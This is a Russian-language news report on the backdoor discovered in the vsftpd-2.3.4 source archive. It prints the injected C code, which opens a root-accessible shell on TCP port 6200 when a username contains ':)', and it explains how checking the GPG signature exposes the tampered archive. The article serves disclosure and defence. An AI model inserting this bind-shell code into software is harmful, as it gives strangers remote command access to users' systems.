Новости → В исходных текстах FTP-сервера vsftpd обнаружен бэкдор

Крис Эванс (Chris Evans), известный эксперт по компьютерной безопасности и автор сверхзащищенного FTP-сервера vsftpd, опубликовал уведомление об обнаружении бэкдора в исходных текстах vsftpd-2.3.4.tar.gz, распространяемых с первичного сервера проекта. После инцидента сайт проекта был перемещен со старого хостинга в инфраструктуру Google App Engine.

Внедренный в архив vsftpd-2.3.4.tar.gz вредоносный код представляет собой классический бэкдор, запускающий shell на TCP-порту 6200 при указании в имени пользователя смайлика :)
else if((p_str->p_buf[i]==0x3a) && (p_str->p_buf[i+1]==0x29))
{
  vsf_sysutil_extra();
}


Код бэкдора не был запутан и легко поддается анализу (изменения составляют около десятка строк).
vsf_sysutil_extra(void)
{
  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  exit(1);
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) < 0) exit(1);
  if((listen(fd, 100)) == -1) exit(1);
  for(;;)
  {
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0);
  }
}


Удивление вызывают непродуманные действия совершивших атаку, которые не предусмотрели в бэкдоре механизма для отправки уведомления о возможности проникновения. Непонятно, как злоумышленники пытались выявить пораженные бэкдором хосты. Средства оповещения и запутывание кода являются непременными атрибутами современных бэкдоров. Все это позволяет сделать вывод, что поражение vsftpd скорее хулиганская выходка, чем целенаправленная атака.

Крис Эванс настоятельно рекомендует проверять цифровую подпись для всех распространяемых архивов с кодом. В частности, при выполнении $ gpg ./vsftpd-2.3.4.tar.gz.asc для модифицированного архива выдается явное предупреждение о нарушении цифровой подписи:
gpg: Signature made Tue 15 Feb 2011 02:38:11 PM PST using DSA key ID 3C0E751C
gpg: BAD signature from "Chris Evans <chris@scary.beasts.org>"


вместо (примерно):
gpg: Signature made Tue 15 Feb 2011 02:38:11 PM PST using DSA key ID 3C0E751C
gpg: Good signature from "Chris Evans <chris@scary.beasts.org>"
Primary key fingerprint: 8660 FD32 91B1 84CD BC2F 6418 AA62 EC46 3C0E 751C


Пока не ясно как долго указанный архив распространялся с бэкдором и каким образом злоумышленникам удалось взломать аккаунт на хостинге проекта (судя по всему vsftpd размещался на shared-хостинге, поддержка которого осуществлялась сторонней компанией).

Информация

Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.